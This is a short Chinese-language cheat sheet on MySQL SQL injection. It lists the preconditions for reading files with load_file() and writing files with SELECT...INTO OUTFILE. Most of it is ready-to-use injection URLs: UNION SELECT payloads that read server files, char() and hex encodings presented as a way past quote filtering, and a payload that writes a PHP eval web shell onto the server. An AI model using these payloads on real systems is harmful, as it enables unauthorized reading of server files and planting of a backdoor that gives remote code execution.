1.通过load_file()
函数将文件内容爆出来
前提条件
1. 当前权限对该文件可读
2. 文件在该服务器上
3. 路径完整
4. 文件大小小于max_allowed_packet
5. 当前数据库用户有FILE权限
6. secure_file_priv
的值为空,如果值为某目录,那么就只能对该目录的文件进行操作
SELECT load_file(); //读取文件内容并将内容作为字符串返回
?id=-1' UNION SELECT 1,2,load_file('c:\\boot.ini')--+
?id=-1' UNION SELECT 1,2,load_file(char(99,58,47,98,111,111,116,46,105,110,105))--+ //通过char()函数将ascii十进制形式转为字符形式,可绕过引号过滤
?id=-1' UNION SELECT 1,2,load_file(0x633a2f626f6f742e696e69) //十六进制形式
2. 通过SELECT...INTO OUTFILE
写文件
前提条件
1. 目标目录要有可写权限
2. 当前数据库用户要有FILE权限
3. 目标文件不能已存在
4. secure_file_priv
的值为空
5. 路径完整
SELECT <?php @eval($_POST['sb'])?> INTO OUTFILE "........."; //outfile后的文件路径不能用十六进制或配合char()来实现,只能用引号这种形式
?id=-1' UNION SELECT 1,2,(select load_file('c:\\boot.ini'))INTO OUTFILE "c:\\test\\aaa.txt"--+